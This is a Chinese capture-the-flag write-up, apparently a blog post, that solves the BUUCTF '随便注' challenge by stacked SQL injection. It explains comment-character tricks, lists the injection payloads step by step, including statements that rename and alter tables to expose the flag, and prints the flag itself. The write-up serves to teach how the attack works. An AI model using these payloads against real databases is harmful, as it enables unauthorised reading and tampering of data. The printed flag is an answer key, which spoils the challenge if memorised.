BUUCTF [强网杯 2019]随便注 1

堆叠注入看名字应该就是知道是一堆
就是多个命令一起执行(自己理解)
大多都是1’;show databases;#查询数据库(都是例子)
1’;show tables;#查询所有的表
1’;show columns from wwwww;#查询wwwww中的所有列
输入1’被过滤 报错 ,尝试报错注入
在这里插入图片描述

select被过滤
在这里插入图片描述

在这里插入图片描述
观察会发现是堆叠注入
注入时的注释符号
使用#号
有时发现执行的sql语句中没有#号
原因是url中#号是用来指导浏览器动作的(例如锚点),对服务器端完全无用。
所以,HTTP请求中不包括#
将#号改成url的编码%23就可以了
使用–和使用–+
这里发现+号在语句中变成了空格。
用来和后面的单引号分隔开,将后面的语句注释。
了解原理后便知道了–无法使用的原因,是因为–与后面的单引号连接在一起,无法形成有效的mysql语句。
在mysql中使用这个语句分析原因,输入后回车显示分号没有闭合
所以在注入时我们除了使用–+外,也可以使用–'来完成sql注入语句

1’; show databases;
在这里插入图片描述
在这里插入图片描述
1’; show tables;#
在这里插入图片描述
1’; show columns from words;#
在这里插入图片描述
1’;show columns from 1919810931114514;#
在这里插入图片描述
1’;rename table words to words1;rename table 1919810931114514 to words;alter table words change flag id varchar(100);

1’ or 1=1;#
在这里插入图片描述
flag{f1711f30-0d29-4b4f-aed8-6fd7d2b14f26}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值